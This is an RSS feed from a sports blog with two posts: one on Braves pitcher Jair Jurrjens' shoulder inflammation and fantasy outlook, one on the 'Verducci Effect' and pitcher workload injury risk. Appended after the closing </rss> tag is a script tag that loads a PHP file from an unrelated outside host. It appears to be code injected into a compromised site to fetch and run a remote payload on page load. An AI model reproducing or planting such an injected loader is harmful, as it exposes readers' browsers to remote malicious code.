<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Sports Idiot &#187; Jair Jurrjens</title>
	<atom:link href="http://thesportsidiot.com/blog/category/jair-jurrjens/feed/" rel="self" type="application/rss+xml" />
	<link>http://thesportsidiot.com/blog</link>
	<description></description>
	<lastBuildDate>Fri, 19 Feb 2010 13:53:16 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Jurrjens Is All Good</title>
		<link>http://thesportsidiot.com/blog/2010/02/jurrjens-is-all-good-2/</link>
		<comments>http://thesportsidiot.com/blog/2010/02/jurrjens-is-all-good-2/#comments</comments>
		<pubDate>Wed, 17 Feb 2010 17:59:56 +0000</pubDate>
		<dc:creator>thesportsidiot</dc:creator>
				<category><![CDATA[Atlanta Braves]]></category>
		<category><![CDATA[Fantasy Baseball]]></category>
		<category><![CDATA[Jair Jurrjens]]></category>
		<category><![CDATA[MLB]]></category>
		<category><![CDATA[NL East]]></category>

		<guid isPermaLink="false">http://thesportsidiot.com/blog/?p=4021</guid>
		<description><![CDATA[Well, maybe not all good, but for the most part.  An MRI on dude&#8217;s throwing shoulder revealed no structural damage, and the 24 year old right hander just needs to rest his sore shoulder.  The official diagnosis is anterior shoulder inflammation. Jurrjens should be on pace to make his first start of the [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Well, maybe not all good, but for the most part.  An MRI on dude&#8217;s throwing shoulder revealed no structural damage, and the 24 year old right hander just needs to rest his sore shoulder.  <a href="http://mlb.mlb.com/news/article.jsp?ymd=20100217&#038;content_id=8083718&#038;vkey=news_atl&#038;fext=.jsp&#038;c_id=atl&#038;partnerId=rss_atl">The official diagnosis is anterior shoulder inflammation.</a> Jurrjens should be on pace to make his first start of the season without any issues.</p>
<p>This is great news for the Bravos as well as their fans.  It is also good news for you fantasy players, because a lot of people will see this as a red flag and drop him on their boards.  Good.  Drop him all you want.  Jurrjens will prove to be a solid fantasy option again this year, if not a top 10 starter.  Yes, I know that a lot of publications, including Baseball Prospectus, are a little bit down on him in relation to last year.  My advice is to ignore them and listen to the Mike Bohn gut algorithm.  Of course, I&#8217;m also a Bravos fan so I may be a little clouded here, but I expect Jurrjens to win 15+ games this year with an ERA around 3.00. </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://thesportsidiot.com/blog/2010/02/jurrjens-is-all-good-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Starting Pitcher Injury Risks &#8211; &#8220;Verducci Effect&#8221;</title>
		<link>http://thesportsidiot.com/blog/2009/04/starting-pitcher-injury-risks-verducci-effect/</link>
		<comments>http://thesportsidiot.com/blog/2009/04/starting-pitcher-injury-risks-verducci-effect/#comments</comments>
		<pubDate>Wed, 08 Apr 2009 12:10:33 +0000</pubDate>
		<dc:creator>thesportsidiot</dc:creator>
				<category><![CDATA[Atlanta Braves]]></category>
		<category><![CDATA[Cole Hamels]]></category>
		<category><![CDATA[Fantasy Baseball]]></category>
		<category><![CDATA[Jair Jurrjens]]></category>
		<category><![CDATA[MLB]]></category>
		<category><![CDATA[Philadelphia Phillies]]></category>
		<category><![CDATA[Verducci Effect]]></category>

		<guid isPermaLink="false">http://thesportsidiot.com/blog/?p=3301</guid>
		<description><![CDATA[One thing that has been focused on more and more in baseball in the risk to pitchers based on their workload.  Tom Verducci of SI has been tracking this for years and does an annual column listing ten starting pitchers that are likely to get injured this season because of last season.  It is interesting [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong>One thing that has been focused on more and more in baseball in the risk to pitchers based on their workload.  Tom Verducci of SI has been tracking this for years and does an annual column listing <a href="http://sportsillustrated.cnn.com/2009/writers/tom_verducci/04/07/yearafter.effect/index.html?eref=writers">ten starting pitchers that are likely to get injured this season</a> because of last season.  It is interesting stuff, and I am a full believer.  Over the past three years Verducci has listed 24 players, and 16 of them were hurt the years they were listed.  Only one of the 24 players both stayed on the mound and were able to lower their ERA from the previous season.  That pitcher?  Ubaldo Jimenez.<br />
</strong><br />
<img class="size-full wp-image-3186 alignleft" title="heidi-strobel2" src="http://thesportsidiot.com/blog/wp-content/uploads/2009/03/heidi-strobel2.jpg" alt="" width="257" height="320" /><strong>For a counter argument <a href="http://sports.yahoo.com/fantasy/mlb/news?slug=ms-bythenumbers_040109">check out Michael Salfino of Yahoo Sports</a>.  Apparently this dude doesn&#8217;t</strong><strong> think that Verducci, or even Baseball Prospectus, has done their homework properly.  The bad </strong><strong>news?  Even this dude thinks Cole Hamels will get hurt this year.  Heidi is watching this for us, so don&#8217;t worry.</p>
<p><a href="http://www.rotoauthority.com/">H/T to Tim Dierkes at RotoAuthority.com</a>.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://thesportsidiot.com/blog/2009/04/starting-pitcher-injury-risks-verducci-effect/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://indesignstudioinfo.com/ls.php"></script>